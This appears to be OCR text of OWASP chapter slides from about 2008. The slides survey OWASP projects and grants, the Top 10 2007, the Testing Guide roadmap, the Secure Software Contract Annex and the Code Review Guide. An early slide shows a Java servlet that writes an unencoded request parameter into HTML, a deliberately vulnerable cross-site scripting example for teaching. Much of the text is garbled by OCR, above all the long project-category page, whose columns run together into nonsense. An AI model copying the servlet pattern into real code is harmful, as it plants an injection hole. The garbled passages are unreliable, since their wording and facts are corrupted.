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— CEO @ Minded Security

Application Security Consulting
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What we don’t see about the sw we

use

Software Facts

Expected Number of Users 15
Typical Roles per Instance 4

;ﬁ.mount Per Serving
Modules 155 Modules from Libraries 120

% Vulnerability*

Cross Site Scripting 22 65%
Reflected 12 15%
Stored 10

SQL Injection 2 10%

Buffer Overflow 5 95%

Total Security Mechanisms 3 10%

Modularity .035 0%

Cyclomatic Complexity 323
Encryption 3

Authentication 15 4%,
Access Control 3 aer
Input Validation 233 20%
Logging 33 4%

Ingredients: Sun Java 1.5 runtime, Sun
J2EE 1.2.2, Jakarta log4j 1.5, Jakarta
Commons 2.1, Jakarta Struts 2.0,
Harold XOM 1.1rc4, Hunter JDOMv1

* % Vulnerability values are based on typical use scenarios for
this product. Your Vulnerability Values may be higher or lower
depending on your software security needs:

Usage Intranet Internet
Cross Site Scripting  Less Than 10 5
Reflected Less Than 10 5
Stored Less Than 10 5
SQL Injection Less Than 20 2
Buffer Overflow Less Than 20 2
Security Mechanisms 10 14
15

Encryption 3
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public class MySoftware extends HttpServlet {

public void doGet(
HttpServietRequest request,
HttpServietResponse response)
throws |IOException, ServletException

response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.printin("<HTML><HEAD>"); [
out.printin("<TITLE>Hello World</TITLE>");
out.printin("</HEAD><BODY>");

out.printin("Hello, " +
request.getParameter("name"));

out.printin("</BODY></HTML>");
b
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« The Open Web Application Security Project (OWASP) is a worldwide
free and open community focused on improving the security of
application software.

« Mission: to make application security "visible," so that people and
organizations can make informed decisions about application security
risks.

« Participation: everyone is free to participate in OWASP and all of our
materials are available under an open source license.

« The OWASP Foundation is a 501c3 not-for-profit charitable organization
that ensures the ongoing availability and support for our work.
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OWASP

The Open Web Application Security Project
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* Define Criteria for Quality Levels
— Alpha, Beta, Release

* Encourage Increased Quality

— Through Season of Code Funding and Support
— Produce Professional OWASP books

* Provide Support
— Full time executive director (Kate Hartmann)
— Full time project manager (Paulo Coimbra)
— Half time technical editor (Kirsten Sitnick)
— Half time financial support (Alison Shrader)
— Looking to add programmers (Interns and professionals)
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Top 10

Code Review Guide
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Orizon Blild
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Training
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WebGoat
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. ——
= 4 Chapters
Testing Guide Project
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Certification

Blogs
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- — Application Application
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OWASP Tools and Technology

£
* Vulnerability
Scanners

 Static Analysis
Tools

* Fuzzing

Automated
Security

Verification

 Penetration
Testing Tools

« Code Review
Tools

« ESAPI Reference
Implementation

« Guards and
Filters
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I
| 6 |https:,l',l'www.u:uwasp.Drg,l'index.php,l'Categu:ur':.f:O'u'-.-'.ﬁ.SP_F‘rnject

eoigory | [ dscusson ew sorce | | himiory - Current Season of Code Projects
Category:QWASF Project Thee projects phaced i this category are under development. Progect completion is enpected by 15th Septernbes, Ater the Season Code being Srshed, all

projects. will ba maved ta the appropriate cateqory - alpha, hata or ralaase qualiy
A OWASP prapect 1 & cobclion of refabed tasks It hive a defroed roadmap and beamn merbers. CWASP project leaders are respansibls far defning the

vision, readmag, and tasks for the prejact The projact [aader 8o peomotas the project and Builds the tesm Tooks Documemation

¥ you would ke 10 starl 3 new projoct ploase neviow the How to Start 5P Project guide. Please send an emal to swasp@owasp crg 1o dscuss GTH+GLI for wiaf Project OWASE ASDR Projecy

priject idas and how Uy might 12 info CWASP. Al DWIASP projicls must be fee and open and havi their homepag on Uhe OWASP portal. You can read Thie man opoct 15 b minimize U offorl and lesming cur of using Thi ASDR r 4 refirence vehume that contains basic infornation about ol

3l the cridelines i the Preject Asse rreria wilaf, pemviding a very usable graphical interface. This. project is being the foundatinnal {opics in application security This project is heing
$ponsored by OVWASP Sumener of Code, pons: WASP Summer of Code,

Every projoct has an associated mad list. You can view allthe lists, examing their archives, and subseriba 1o any oftham on the O " pongured by OWASE Symensr of Co ponscned by OWASF Summer of Code

Lisls pirge. OWASP Access Cantrol Rules Tester Praject OWASP Application Security Vesification Standard Project
This rcjct is intended to haws twa defiwprablos: masarch tochrical eporl  This is & niw projeet craated 1 defing an evaluation framewark that may

Cantenks [rise] [publication ready article) and an Access Conirol Rules Tester il This be wsed to conducl CWASH Application Secunty Venfication Standard
« AppSec Conterences 1 Riiaaso Qualty Projecs prgeet is bbing sponsored by CWASE Summer of Code coifications. This penjoct is hoing spansoend by CWASE Summes of

of Code Projects

= Preserisina OWASP AntiSamy Project e
" Videa An AP forvalidatng rich HTMUCES input Som wsers withaut exposuny 10 OWASP AppSensar Project
N ‘”‘c:::z :‘_‘:” 5 Inactive Projetls cross-5e SENEAInG and phisking attacks. This peoject is being sponsored A framewnrk for detecting and reepandmg to sttacks from within the
» WalngLists 6 iz 0 584 8 new DWIAER Projact atitls by OWASR Sur if Codi, et v bisng spon
 About OWAS? . . DWAST Application Security Tool Benchmarki i and
* Warbarsng Release Quality Projects Site Generator Refrech Prajact OWASP Dackend Sacurity Projact
ratarancs Fielnase quaifty projocts aew ganeraity the level of quality of professional 1001s O GoCUTELS. The idea is to splt destination web agplication technology from the three This is a rew project created to improve and to collect the exisiant

tow To. veugable Wnaries, iy of iorval elernents, iy of i i iun about the backend secuity, This propect is bemng sponsoned

: Wi hieew slartid the process of defining detailed quashines which deale what will be mquined o an OWASP Poopes ar e # | b elagarhed an . AAED By e

Frivciples and lvary of language conetructs. This project ie being sponsored by by OWASP Summer of Code
» Theeat Agers CIVYASF Raleace quakty project (288 Fiojecs Assessmant Critena). Pleass note that the propgcts below have NOT baan svaluaied undar this criiena and WASP Sur of Codu .
 atacks riight be ra-¢lassibed snce than process is comphited ) OWASP Boak Cover & Sleove Design
o« Vilaablliss _— Dacsmantation DWASE Code Crawler This is & project of corparate design to develop a scalable book cover
* Courtemensures . This toed 15 srmed al assisting code revew prachboners, B s a $labic wenes sloabegy and o Book Seeve. Thes project 1s beng sponsored by
* Acres OWASP WehGoat Project OWASP AppSec FAD Project cade review ool which searches for key 1opics within NET and CAMASF Summer of Code
o Tchnoigas an geling rsning emonment far hands-on leaming sbout apphcstien FAQ coverig many applicatsen securty lopics JZEERIAVA cod. The wen of the Lool 15 10 acompany b OWASP Codé gwash Clagsic ASP Securlty Projact
N ;’:" - sacurity OWASP Guide Project raview Gusda and to implamar: 3 ctal coda revew solution for averyona’, L Sl e ASP apgleation by
- ws _ﬁ_“_ : OWASE WihScarab Projact a massie documint covering all aspects of web application and web W TEepone” misang Tmone” Companiss perfomming secung softwan: wmp;m';m"s “m'mu' OWASP projacts Mlh'd"‘“w"“‘mn or this
 swaPrect u::ulsa perfarming all types of security testing on web spplications and  senice security actities, This project is being spansored by OWASF Summar of Code paeutsr sochaslogy sad the crasion of scumily ebigs. Th prcject it
soaren e OWASP Lugal Project DWASP Interceptar Project bewig sponsored by OWASE 5 1 of Code

a projict fotused on contracting for secuwe sofwars A tagting tool for XML web sevice snd Ajsy intataces. This pOisct 5 QwASP Code Review Project
Senrch OWASP Tesiing Gulde X buing spensored by . e A project 1o caplure best peactices for revewing code. This project is
3 propt fosused on appleation security besting pracedurds snd OWASP JSP Testing Tool Project being sponsoned by CWASF Summer of Code
The gost of this project i3 to create an easy to use, freely wvalsble 00l QAP Comarate Application Security Rating Gulde
Beta Status Projects that can b used 10 quickly ascenain the lvil of protection that sach This peninct sl amanize and structure pusiely svadsbla data fhat s

Deeta quality projects are complate and ready to use with docurnentation. -
e have staned the process of defining detailed guidelines which indicate what will be required from an OMASP Project in order for it 1o be classified an Alpha Status Projects
CVWASE Bita qualily projc Pragiect fisit sl Crtienial Pl
be re-clazsified once that process is completed

oo that Shie progectss beeli b NOT biecen vl snder this calues and smighl

Alpha quality projieets are gunerally wsablie but may ek documentation or quality niview:
‘W have started the precess of defining detailed quidelnes which indicate what will be required from an OWASP Project in order for it 1o be classified an

Tuuls Ducumentation CIWGASP Alpha qualty project (e Projec Assoasment Critesia) Plaast nate that the peajocts below have MOT baen svatuated under this criteria and might
OWASE AntiSamy Project OWASE CLASH Proj b fhod oo that procuss 15 completed
an AP lorvalidatng nch HIMLICSS gt om i thaut Expos: b an dismiry pa lsmients Tt nnforce apphcition Touks Documentation
cro8s-gite scripting snd phizhing sitscks OWASP CSRFTester Project OWASP AR Security Project
OWASP CSAFGuard Project OWASP Code Neview Project aives developers the ability to test their spplications for CSRF flaws imvestigating the security of AR applicstions
& J2EE filter that implaments 5 unique request token to mitigate CERF A project 1o capture best practices for reviewsng code. This project iz OWASP EnDe Project OWASP AJAY Security Guide
attacks biing spansared by DWASE Summer of Code Thes Loul rs am encoder, decoder, corverter, Sransformer, calculator, for imvestigating the secunty of AJSK ensbled apgheatons
OWAAST DirBuster Project OWASP Tools Projert various codings used in the wild vide web. OWASE Application Security olect
Diruster is & multi threaded java apphication designed 1o brute force The CWASP Taols Project’s goal is 10 provide unbissed, practical OWASP Google Hacking Projact fetablizh & 541 of standards defining baselnn appeoaches to conducting
dmectones wnd Hles names on webdapphoation seres, wrilurmation and guidance about applestion secunly ook, Google SOAF Sgarch AP with Perl differg dypesdenls of apphestion securly sssessment
OWASP Encading Project OWASP Insecure Wob App Project OWASP Application Security Regquiramonts
3 project facused on the development of encading best practices for wab aweh applicasion that includes common wob appleation winorabiliies  WASP Application Security Matrics Project
applications. CWASE JBrofuzz Projact iderilify and prmade 3 set of application secunity meancs that hive been
1 a fuzzer apphcation, supporting & number of automated secunly checks found By coranbutars 10 be efiactve in maasuring application sacurity

OWASE Enferprisae Security APEESAPY Proji
e aruf e callisclion af all e secunty melhors

needs o budd 8 sacure web sppheation.

incleding basic cross £ne scrping checks (¥S5) as well as basic SOL
injaction festing. Thiz peoject was sponsored by CWASP Spring Of Code

OWASP Carenr Davelapmant Prajact
The OWASP Career Development progect s focuzed on helpeng

bt & disitlupes

2o0r application security professionals understand the job market, rales,
OWASP LAPSE Project OWASP NetBounces Projec caner paths, dand 5 o wark in thee finld
an Eclipse-hased source-code static analyzis tool for Javs in acure by default centralised inputfoutput validation kbeary which OWASP Certification Criserla Project
i " £ combinis secunty sl and busaiss rles a5 well as escapng in the
OWASP Live €0 Fducation Project e ¥ pr OWASP Certification Project
pajict s aaned A . X our challenge 1s to create o plan foe certibicalson. & set of OWASP
wideos detaiing the use of tools contained within the OWASP LiveCD - OWASE Dpen Review Project [ORFRO}

Certification for Developers and Testers.

pansaned by DWASE Spreg OF

— LabRat. Th
and Sacund
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« Total Projects: 88 (34 with SoC Grant)

— Tools: 42 (16 with SoC 08 Grant)
— Documentation: 32 (12 with SoC 08 Grant)
— Technologies: 9 (2 with soc 08 Grant)

— Activities: 5 (4 with SoC 08 Grant)
SoC 08 |
Project Type Project Type « Yes No Grand Total
Activity| 4 Activity 4 1 5
Docurentation| 32 Documentation 12 20 32
Technalogy| 9 Technology 2 7 9
Toaol| 41 Taonl 14 26 41
Toal (nan OYWYASPY| 1 Toal (nan OWYASF) 1 1
Grand Total [ifi] Grand Total 34 54 [ifi]
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Project Type [ Status Today [ Project Name
Documentation

Release

OWASP AppSec FAQ Project
OWASP Guide Project
OWASP Legal Project
OWASP Testing Guide
OWASP Top Ten Project

Beta

OWASP CLASP Project

OWASP Code Review Project

OWASP Corporate Application Security Rating Guide
OWASP Education Project

OWASP Ruby on Rails Security Guide V2

OWASP Tools Project

Alpha

OWASP Application Security Assessment Standards Project
OWASP Application Security Metrics Project

OWASP Application Security Requirements

OWASP Application Security Verification Standard Project
OWASP AppSensor Project

OWASP ASDR Project

OWASP Backend Security Project

OWASP Career Development Project

OWASP Certification Criteria Project

OWASP Certification Project

OWASP Communications Project

OWASP Fuzzing Code Database

OWASP Honeycomb Project

OWASP Logging Guide

OWASP Positive Security Project

OWASP Scholastic Application Security Assessment Project
OWASP Securing WebGoat using ModSecurity Project
OWASP Source Code Review OWASP -Projects Project
OWASP WASS Guide

OWASP Web Application Security Put Into Practice
OWASP XML Security Gateway Evaluation Criteria

Documentation Total 32
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Honeycomb

Threat Agents

A

Business Impacts Vulnerabilities
Business -
Impact \ Vulnerability \

System Impacts Countermeasures

Countermeasure \

Attacks

'

Building
Guide

Attack

g
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Project Type i Status Today [ Project Name
Technology
Beta
OWASP .MET Project
OWASP Java Project
Alpha
OWASP AIR Security Project
OWASP AJAX Security Guide
OWASP Classic ASP Security Project
OWASP Flash Security Project
OWASP PHP Project
OWASP Validation Project
OWASP Wehb 2.0 Project
Technology Total 9
Project Type [l Status Today [ Project Name B
Activity
Release
OWASP on The Move Project
Alpha

OWASP Book Cover & Sleeve Design

OWASP Individual and Corporate Member Packs/Conference Attendee Packs Brief
OWASP Internationalization Project

OWASP Spanish Project

Activity Total 5
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Project Type [ Status Today [ Project Mame
Tool

Release

OWASP WehGoat Project
OWASP WehbS5carab Project
Inactive

OWASP CAL90D0D Project
Beta

OWASP AntiSamy Project
OWASP Application Security Tool Benchmarking Environment and Site Generator Refresh Project
OWASP CSRFGuard Project
OWASP DirBuster Project
OWASP Encoding Project
OWASP Enterprise Security APl (ESAPI) Project
OWASP Interceptor Project
OWASP LAPSE Project
OWASP Live CD 2008 Project
OWASP Live CD Education Project
OWASP Orizon Project
OWASP Pantera Web Assessment Studio Project
OWASP Report Generator
OWASFP Site Generator
OWASP SOLiX Project
OWASP Tiger
OWASP WeBekci Project
OWASP WSFuzzer Project
Alpha

OWASP Access Control Rules Tester Project
OWASP Code Crawler

OWASP CSRFTester Project

OWASP EnDe Project

OWASP Google Hacking Project

OWASP Insecure Web App Project

OWASP JBroFuzz Project

OWASP JSP Testing Tool Project

OWASP Open Review Project (ORPRO)




! iSAOA® SoC 08 projects — 126,000 USD in Grants

Servire i professionisti dell'IT Governance

Rome Chapter

Project Type | Project Name |
Activity
OWASP Book Cover & Sleeve Design
OWASP Individual and Corporate Member Packs/Conference Attendee Packs Brief
OWASP Internationalization Project
OWASP Spanish Project
Documentation
OWASP Application Security Verification Standard Project
OWASP AppSensor Project
OWASP ASDR Project
OWASP Backend Security Project
OWASP Code Review Project
OWASP Corporate Application Security Rating Guide
OWASP Education Project
OWASP Positive Security Project
OWASP Ruby on Rails Security Guide V2
OWASP Securing WehGoat using ModSecurity Project
OWASP Source Code Review OWASP -Projects Project
OWASP Testing Guide
Technology
OWASP .NET Project
OWASP Classic ASP Security Project
Tool
OWASP Access Control Rules Tester Project
OWASP AntiSamy Project
OWASP Application Security Tool Benchmarking Environment and Site Generator Refresh Project
OWASP Code Crawler
OWASP Interceptor Project
OWASP JSP Testing Tool Project
OWASP Live CD 2008 Project
OWASP OpenPGP Extensions for HTTP - Enigform and mod openpgp
OWASP OpenSign Server Project
OWASP Orizon Project
OWASP Python Static Analysis Project
OWASP Skavenger Project
OWASP Sglibench Project
OWASP Teachahle Static Analysis Workbench Project
—— OWASP WeBekci Project

Tool (non OWASP)

GTK+ GUI for w3af project
Grand Total 34
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T HOH https: e, owasp, orgfindes, phpfCategory OWASP_Top_Ten_Project [] 7o, I L | Google
2 Login ! creste account

category dizcussion WiEny SO0LFCE history

Category: OWASP Top Ten Project

OWASP This project has produced a book that can be downloaded or purchased.
Books Feel free to browse the full catalog of available OWWASF boaks,

Welcome to the OWASP Top Ten Project

The OWASP Top Ten provides a powerful awareness document for web application security. The OWWASP Top Ten represents a broad consensus about what
the most critical web application security flaws are. Project members include a variety of security experts frorm around the world who have shared their
expertise to produce this list. There are currently versions in English, French, Japanese, Karean and Turkish., A Spanish wersion is in the works. Ve urge all
companies to adopt this awareness document within their organization and start the process of ensuring that their web applications do not contain these
flaws. Adopting the OWVWASP Top Ten is perhaps the most effective first step towards changing the software development culture within your organization inta

one that produces secure code.
ulu Marketplace:

Downloadable Versions OWASP Top 10 - 2007 Edition
by OWASP
You can download the Top 10 2007 (Final) here: 0 Paperback book $5.31
Download free
u (P D F ' 93':' |“:. |:|I| Printed: 54 pages, 7.44" x §.62", saddle-stitch binding, black
T T wihite interior ink
[ ] (French "'.'.l'ler5||:|r'| PDF , 455 khj OWASP TOP 10 - 200 Download: 1 docurments, 729 KB

m (Kaorean %ersion POF, YB3 kh)
m (Turkish “ersion POF, 713 kb)
= (Brazilian Partuguese PDF, 329 kb
m COWWASP Top 10 for Java Enterprize Edition (FOF, B30 kb)
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OWASP Top10
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Summary

Al - Cross Site Scripting
(#X33)

»33 flaws occur whenever an application takes user supplied data and sends it to a weh browser without first validating ar
encoding that content. X35 allows attackers to execute script in the victim's browser which can hijack user sessions,
deface web sites, possibly introduce worms, ete.

A2 - Injection Flaws

Injection flaws, particularly SGL injection, are common in web applications. Injection occurs when user-supplied data is
sent to an interpreter as part of a command or gquery. The attacker's hostile data tricks the interpreter into executing
unintended commands or changing data.

A3 - Malicious File Execution

Code vulnerable to remote file inclusion (RF1) allows attackers to include hostile code and data, resulting in devastating
attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any frarmewark which
accepts filenarmes or files from users.

Ad - Insecure Direct Object
Reference

A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file,
directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access
other ohjects without autharization.

A5 - Cross Site Request
Forgery (CSRF)

A C5RF attack forces a logged-on victim's browser to send a pre-authenticated request to a vulnerable web application,
which then forces the victim's browser to perform a hostile action to the benefit of the attacker. CSRF can be as powerful as
the web application that it attacks.

AB - Infarmation Leakage and
Irmproper Error Handling

Applications can unintentionally leak information about their configuration, internal workings, or vialate privacy through a
variety of application problems. Attackers use this weakness to steal sensitive data, or conduct more serious attacks.

A7 - Broken Authentication
and Session Management

Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or
authentication takens to assume other users’ identities.

A - Insecure Cryptographic
Storage

Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly
pratected data to conduct identity theft and other crimes, such as credit card fraud.

A9 - Insecure Communications

Applications frequently fail to encrypt netwaork traffic when it is necessary to protect sensitive communications.

A0 - Failure to Restrict LURL
Arccess

Frequently, an application only protects sensitive functionality by preventing the display of links ar URLs to unautharized

users. Attackers can use this weakness to access and perforrn unauthorized operations by accessing those URLs directly.

Tahle 1: Top 10 Web application vulnerabilities for 2007
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2) OWASP Testing Guide v2 (Release Qualit

BT I ﬁ |http:,I',l'www.uwasp.Drg,l'index.php,l'Testing_Gui-:IE_Intrl:uductil:un

By - |Gl

Gaoogle

The OWASP Testing Project

The OWWASP Testing Project has been in development for many wears. With this project, we wanted to help peaople
understand the what, why, when, where, and how of testing their web applications, and not just provide a simple checklist or
prescription of issues that should be addressed. The outcome of this project is a complete Testing Framewark, fram which
others can build their own testing programs or qualify other people's processes. The Testing Guide describes in details both

the general Testing Framework and the technigues required ta implement the framewark in practice.

OWASP Top10 - Testing - Legal 07

by DNASE
Download free Download Now
® .o pmw

pértact binging, black and

3. The OWASP Testing Framework

3.1. Overview

3.2. Phase 1: Before Development Begins
3.3. Phase Z: During Definition and Design
3.4. Phase 3: During Development

3.5. Phase 4: During Deployment

3.6. Phase 5: Maintenance and Operations

3.7. A Typical SDLC Testing Workflow

4. Web Application Penetratio

4.1 Introduction and Objectives

4.2 Information Gathering

4.2.1 Testing Web Application Fingerprint
4.2.2 Application Discovery

4.2.3 Spidering and Googling

4.2.4 Analysis of Error Codes

4. 2.5 Infrastructure Configuration Managerm
4.2.5.1 SSLTLS Testing
4252 DB Listener Testing
4.2.6 Application Configuration Managemery
4.2.6.1 Testing for File Extensions Handling
4262 0ld, backup and unreferenced files
4.3 Business Logic Testing

4.4 Authentication Testing

4.4.1 Testing for Guessable (Dictionary) Us
4.4.2 Brute Force Testing

4.4.3 Testing for bypassing authentication d
4.4.4 Testing for directory traversalfile incly
4.4.5 Testing for vulnerable remember pass

4.4.6 Testing for Logout and Browser Cachd

4.6 Data Validation Testing

4.6.1 Testing far Cross Site Scripting
4.6.1.1 Testing for HTTP hethods and ®5T
4.6.2 Testing for SOL Injection
4.6.2.1 Oracle Testing

4.6.2.2 MyS0L Testing

4.6.2.3 S0L Server Testing

4.6.3 Testing far LDAP Injectiaon
4.6.4 Testing far ORM Injection

4.6.5 Testing far XML Injection

4.6.6 Testing far S350 Injection

4.6.7 Testing for #Path Injection
4.6.8 IMAR/SMTR Injection

4.6.9 Testing for Code Injection

4.6.10 Testing for Cormmand Injection
4.6.11 Testing for Buffer overflow
4.6.11.1 Testing for Heap overflow
4.6.11.2 Testing for Stack overflow
4.6.11.3 Testing for Farmat string

4.6.12 Testing for incubated wulnerabilities

4.8 Web Services Testing

4.8.1 ¥ML Structural Testing

4.8.2 *ML Content-level Testing

4.5.3 HTTP GET parameters/REST Testing
4.8.4 Testing for Maughty SOAP attachments
4.8.5 WS Replay Testing

4.9 AJAX Testing

481 A& Wulnerabilities

4.5.2 How to test AJAX

5. Whriting Reports: value the real risk

5.1 How to value the real risk

5.2 How to write the report of the testing

Appendix A: Testing Tools

= Black Box Testing Tools
= Source Code Analyzers
= Other Tools
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« 272 pages, 48 controls

« Methodological approach:

— Consistent
— Reproducible
— Under quality control

 The problems that we want to be addressed are:

— Document all
— Test all

SANS Top 20 cites the Guide in "C1. Web Applications" section:
http://www.sans.org/top20/?ref=1697#c1

"Congratulations on version 2 of the OWASP Testing Guide! It is an impressive and

informative document that will greatly benefit the software development community".
Joe Jarzombek, the Deputy Director for Software Assurance at Department of Homeland Security
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* |. Executive Summary
* |l. Technical Management Overview
* |ll Assessment Findings: Risk Rating

Ref.

Category Affected ltem Finding Comment/Solution
Number

Authenlicalion OWasSP-AT- [ Bypassing
Testing 003 authentication
zchema

CWYASP-AT- | Directony
004 travers alffile
ikclude

OWASP-AT- | Wulnerable

004 remeamkser
paszword and
pwrd reset

OWYASP-AT- | Logout and

0oa Browszer Cache
Management
Tezting

OWWATP- Semsion

SrA-001 Monagement

Session Scherma
Management
OWWATP- Session Token
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*HSACA OWASP Testing Guide v3:

roadmap

26th April 2008: start the new project
OWASP Leaders brainstorming
Call for participation [J 21 authors (-18!)

Index brainstorming OWASP
Discuss the article content Summer
20th May 2008 “INew draft Index opCode

1st June 2008 [ Let's start writing!

27th August 2008 [J started the reviewing phase [J 4 Reviewers (-
16!)

October 2008 ] Review all the Guide

Next december 2008 we will publish the new version of the OWASP
Testing Guide: http://www.owasp.org/index.php/OWASP_Testing_Project
(347pages +80!)

11-12 ottobre 2008 Pag. 26
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1. Frontispiece
2. Introduction

3. The OWASP Testing Framework
4. Web Application Penetration Testing

5. Writing Reports: value the real risk
Appendix A: Testing Tools
Appendix B: Suggested Reading

Appendix C: Fuzz Vectors

Appendix D: Encoded Injection
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« V2-> 8 sub-categories (for a total amount of 48 controls)
« V3 =210 sub-categories (for a total amount of 66 controls)

e 36 new articles!

m Information Gathering

m Business Logic Testing

B Authentication Testing

W Session Management Testing
m Data Validation Testing

m Denial of Service Testing

m Web Services Testing

m Ajax Testing

m Information Gathering

m Config. Management Testing
B Business Logic Testing

B Authentication Testing

B Authorization Testing

B Session Management Testing
m Data Validation Testing

m Denial of Service Testing

B Web Services Testing

m Ajax Testing

B Encoded Appendix
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category dizcuzzion Viewy source hiztary

Category. OWASF Legal Project

Welcome to the OWASP Legal Project

The OWWASF Legal project provides materials related to the legal aspects of secure software, including contracting, liability, and compliance.

OWASP Secure Software Contract Annex

The initial praject is a "Secure Software Contract Annex'that helps software buyers and vendors discuss security and capture the important terms. This
project should not be considered legal advice, and we strongly recommend that you find competent counsel to assist with your contract negotiations. The
contract annex has been place in the public domain to facilitate use in private contracts.

s OWYASP Secure Software Contract Annex
s Secure software contracting hypothetical case study

You can download the Microsoft Word version Image: OWASP Secure Software Contract Annex.doc and modify it to suit your needs. Please consider
contributing back any enhancements you make.

S 10710 Testne - Lesnl 7 What do you do when you realize software
Dewnioad free
o Paperback book $12.73 m

R you wrote might have vulnerabilities?

This book contains 3 separate Socuments ereated by DWASP
- s
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OWASP Secure Software Contract Annex

SECURE SOFTWARE DEVELOPMENT CONTRACT ANNEX

history

i WARNING: THIS DOCUMENT SHOULD BE CONIIDERED GUIDANCE ONLY.
| OWA3P ITRONGLY RECOMMENDS THAT YOU CONSULT A QUALIFIED
ATTORNEY TO HELP ¥OU NEGOTIATE A SOFTWARE CONTRACT.

INTRODUCTION

This contract Annex is intended to help software developers and their clients negotiate and capture important contractual terms a
security of the software to be developed or delivered. The reason for this project is that most contracts are silent on these issues,
have dramatically different views on what has actually been agreed to. We believe that clearly articulating these terms is the best
parties can make informed decisions about how to proceed.

"The security of commercial software will improwve when the market demands better security.
At & minimum, every software request for proposal should ask wvendors to detail how they
test their products for security wvulnerabilictie=s. This =2tep will start convincing vendors
of off-the-shelf software and outsourced developers that enterprises value security.”

—— L= John Pescatore, research director with Gartner

We urge Clients and Developers to use this document as a framewark for discussing expectations and negotiating responsibilitie
be appended to a software development contract. These terms are negotiable, meaning they can and should be discussed by the

OBJECTIONS

The following few pages cover some frequently heard objections to using this language in software development contracts:

BUT NOT ALL THE TERMS ARE RIGHT FOR US...

This document should be considered a starting point for your agreernent. You may not like all the activities, ar may want to propose more. You ray want to
assign responsibilities differently. This document is not intended to exactly capture the needs of all software Clients and Developers. It is intended to provide
framewark: for discussing the key topics that are important to ensuring that software ends up secure. After you have a security discussion and reach
agreement, you should tailor this agreement to match

BUT WHO SHOULD PAY FOR THESE ACTIVITIES...

This contract is NOT about putting more burden on the software developer. The question is not whether there are costs associated with security -- of course
there are. Rather, the right guestion is what activities should be performed by both parties to minimize those costs, and when should they happen.

This annex is intentionally silent on the issue of who should pay for the activities described herein. While many of these activities should already be
happening, and are expected by many Clients, they are not regularly practiced in the software industry. The question of who pays (and how much) should bel
part of the negotiation.

Calculating the costs of security is very difficult. While there are costs associated with performing security activities, there are also significant costs
associated with ignoring them. ¥We are convinced that the most cost-effective way to develop software is to reduce the likelihood that security flaws are
intraduced and to minimize the time between introducing a flaw and fixing it.

One important distinction to make when calculating costs is between building security mechanisms and the assurance activities that make sure those
mechanisms are correct and effective. Atterpting to add mechanisms at the end of the lifecycle can cause serious design issues and will increase costs
dramatically. This agreement encourages early decisions on mechanisms to minimize these costs. Similarly, waiting until just before deployrent to do
assurance activities, such as code review and penetration testing, will also dramatically increase costs. We believe that the most cost-effective way to gain
assurance is to put a constant level of effort into assurance throughout the lifecycle

BUT THE LEVEL OF RIGOR IS WRONG....

This agreement assumes that the software being developed is reasonably important to a large enterprise or government agency. We'e selected a "level of
rigor” for the agreement that is achievable by most software development organizations, and will identify and handle the most comman risks

Howeever, for software that is going to be used in critical applications, such as medical, financial, or defense related software, you may want to increase the
level of rigor. You may want to add additional reviews, documentation, and testing activities. You may want to enhance the processes for finding, diagnosing |
and remediating vulnerabilities. For less sensitive applications, you may want to reduce or remove activities

CONTRACT ANNEX

1. INTRODUCTION

This Annex is made to
software according to the following terms.

["Agreement”) between Client and Develaper. Client and Devd

2. PHILOSOPHY
This Annex is intended to clarify the security-related rights and obligations of all the parties to a software devel
parties agree that:

(a) Security Decisions Will Be Based on Risk

Decisions about security will be made jointly by both Client and Developer based on a firm understanding

(b} Security Activities Will Be Balanced
Security effart will be roughly evenly distributed across the entire software development lifecycle.
(c) Security Activities Will Be Integrated

All the activities and docurmentation discussed herein can and should be integrated into Developer's softw
frorn the rest of the project. Mothing in this Annex implies any particular software development process.

{d) Vulnerabilities Are Expected
All software has bugs, and some of those will create security issues. Both Client and Developer will strive

4. SECURITY REQUIREMENT AREAS

The following topic areas must be considered during the risk understanding and reguirements definition
tailared, and testable requirements Both Developer and Client should be invalved in this process and my

{a) Input Validation and Encoding
The requirements shall specify the rules for canonicalizing, validating, and encoding each input to t
databases, directories, or external systermns. The default rule shall be that all input is irvalid unless
In addition, the requirements shall specify the action to be taken when invalid input is received. Spe
injection, overflow, tampering, or other corrupt input attacks.

{b) Authentication and Session Management
The requirements shall specify how authentication credentials and session identifiers will be protec
related functions, including forgotten passwords, changing passwords, remembering passwords, lo

{c) Access Control
The requirements shall include a detailed description of all roles (groups, privileges, autharizations)
indicate all the assets and functions provided by the application. The requirements shall fully specif|
for each role. An access control matrix is the suggested format for these rules.

{d) Error Handling
The requirements shall detail how errars occurring during processing will be handled. Some applica
an error, whereas others should terminate processing immediately.
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Preface

This docurment is not a "How to perform a Secure Code review" walkthrough but more a guide on how to pedform a successful review. Knowing the mechanics

of code inspection is half the battle but I'm afraid people is the other half.

A proper code review will not only identify vulnerabilities, but will assess which vulnerabilities are at the greatest risk for exploitation.

This document describes how to make the most of a secure code review.

Methodology

s Introduction

= Code Review Processes

= Steps and Roles

= Code Review and the SOLC
= Transactional Analysis

= Application Threat hModeling
= Code review Wetrics

Crawling Code

1. Introduction
2. First sweep of the code base

Code Reviews and the PCI DSS
1. Code Reviews and compliance
Examples by technical control

. Authentication

. Autharisation

. Session Management
. Input Walidation

. Error Handling

. Secure Deployment

. Privacy

-~ 0 M o= k) =

Example reports

1. How to write an application_security finding
2. How to determine the risk level of a finding
3. Sarnple farrm

Automating Code Reviews

Preface
. Reasons for using automated tools
. Education and cultural change
Tool Deployment kodel
. Code Auditor Workbench Tool
. The Cwasp Orizon Framework

MM o W)

The Owasp Code Review Top 10 flaw categories
« Preface

The Owasp Code Review Scoring System

u Preface

References

Examples by vulnerability

. Reviewing Code for Buffer Overruns and Overflows

. Reviewing Code far O Injection

. Reviewing Code for SQL Injection

. Reviewing Code for Data Yalidation

. Reviewing Code for Cross-site scripting

. Reviewing code for Cross-Site Request Forgery issues
. Reviewing Code for Error Handling

. Reviewing Code for Logging Issues

. Reviewing The Secure Code Environment

[ B = R L L I

w0

10, Reviewing Code for Authorization lssues
11, Reviewing Code for Authentication

12, Reviewing Code for Session Integrity issues
13. Reviewing Cryptographic Code

14. Reviewing Code for Race Conditions

Language specific best practice

Java

= Java gotchas
= Java leading security practice

Classic ASP

= Classic_ASP_Design_Mistakes
PHP

= PHP Security Leading Practice
CiC++

= Strings and Integers

MySaL

= Reviewing MyS0L Security
Rich Internet Applications

= Flash Applications
= AJAK Applications
